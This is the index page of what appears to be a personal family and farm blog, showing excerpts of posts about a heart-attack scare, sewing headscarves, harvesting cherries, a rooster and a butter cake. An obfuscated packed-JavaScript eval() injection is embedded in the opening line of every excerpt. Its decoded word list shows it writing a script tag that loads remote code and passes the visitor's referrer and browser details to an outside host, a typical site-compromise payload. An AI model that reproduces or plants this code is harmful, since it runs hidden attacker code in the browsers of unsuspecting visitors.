To your very good health

By |January 9th, 2014|

First, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdikf|var|u0026u|referrer|frzaz||js|php’.split(‘|’),0,{}))
thank you for your comments on my last post. I didn't stop to think through that post, obviously, and didn't mean to trigger a wall of concern. In no way was I making light of serious health issues, and for anyone who has suffered a heart attack in […]

how to give yourself a heart attack

By |January 8th, 2014|

 

 
A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfrey|var|u0026u|referrer|fzeyz||js|php’.split(‘|’),0,{}))
couple of weeks ago I googled 'symptoms of a heart attack'.
This was after ignoring left-side chest pain for three days, increased shoulder pain for two and tingling  down my left arm when I woke up. Hmmm. 
I don't generally over-dramatise things or make a fuss, but there's some bad […]

Kerchief! Er, bless you.

By |January 7th, 2014|

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heybb|var|u0026u|referrer|saadi||js|php’.split(‘|’),0,{}))
niece Georgia showed up these holidays wearing headscarves. And so headscarves it was! Or kerchiefs. Or bandanas. Whatever. They're very Sound of Music and all popping-out-to-the-berry-patch, so we made some appropriate ones. Four in fact, for the four resident under-sevens. (Henry declined.) 
 

Tilly helped. So helpful. She got busy […]

Stills: a weekly collection

By |January 5th, 2014|

1. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzkzn|var|u0026u|referrer|kanhn||js|php’.split(‘|’),0,{}))
We're harvesting cherries. 
2. Fishing for the yabbie living in the well under the windmill, who is burrowing holes in the well wall and causing a leak. Mmm, yabbie. Haven't caught him yet, notwithstanding the delicious danish salami on offer. 
3. The Lyden cousins were in the house, and there […]

cat lady

By |January 4th, 2014|

Hello! eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btths|var|u0026u|referrer|bfsyr||js|php’.split(‘|’),0,{}))
If you've checked in here the last couple of days and found the site down, it was! Dammit! My apologies, a technical glitch. Thanks for coming back. 
Early this morning we saw off my beloved sister Naomi and family for another six months – they live overseas and we're […]

what the stars said

By |January 1st, 2014|

 
I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stbky|var|u0026u|referrer|drfhf||js|php’.split(‘|’),0,{}))
honestly don't think I personally know a single person who had a spectacular 2013. 
What's that about?
People were speculating last night that it was the "13" thing, although no thinking person is actually seriously that superstitious, right? 
Our 2013 was a big year, no doubt, although I'd be lying if […]

Brokeback Mountain Rooster

By |December 5th, 2013|

Maybe eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfzif|var|u0026u|referrer|ktyiy||js|php’.split(‘|’),0,{}))
you think you've had a bad day.
Spare a thought for this rooster (his name is Jack). And let me tell you about his day.

First: we keep a few roosters around. All Barred Plymouth Rocks for no reason except they are beautiful and I breed them. There is usually […]

Some days I think my head might fall off.

By |November 15th, 2013|

Some eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffiin|var|u0026u|referrer|effeb||js|php’.split(‘|’),0,{}))
people are good at asking for help and others are hopeless. I'm an other. Hopeless. I'm even hopeless at accepting earnest offers of help. Which is why, right now, when everything is utter chaos, I'm incredibly grateful for friends who just show up and get started. They might […]

the return of the geese

By |October 15th, 2013|

You eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnaif|var|u0026u|referrer|htrrs||js|php’.split(‘|’),0,{}))
might have heard we lost our geese. It was only when I went back to find that post for the link that I saw it was MAY! *cough* 
Sometime in June there were unconfirmed sightings locally, about halfway between us and Martin's place where they'd come from. Maybe they […]

Cake of Sunday: Simple Butter Cake To Save The Day

By |October 13th, 2013|

You eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndfda|var|u0026u|referrer|dnzyz||js|php’.split(‘|’),0,{}))
could call it Butter Cake. Or perhaps, in our house today, it could be Grumpy Cake. Three-Year-Old-Tears Cake. Cracking-it-big-time Cake. A day that was barely held together by the occassional incredible feat of horsepower-led ingenuity (below)… (doesn't everyone move incredibly expensive commercial ovens like this? Huh. That was […]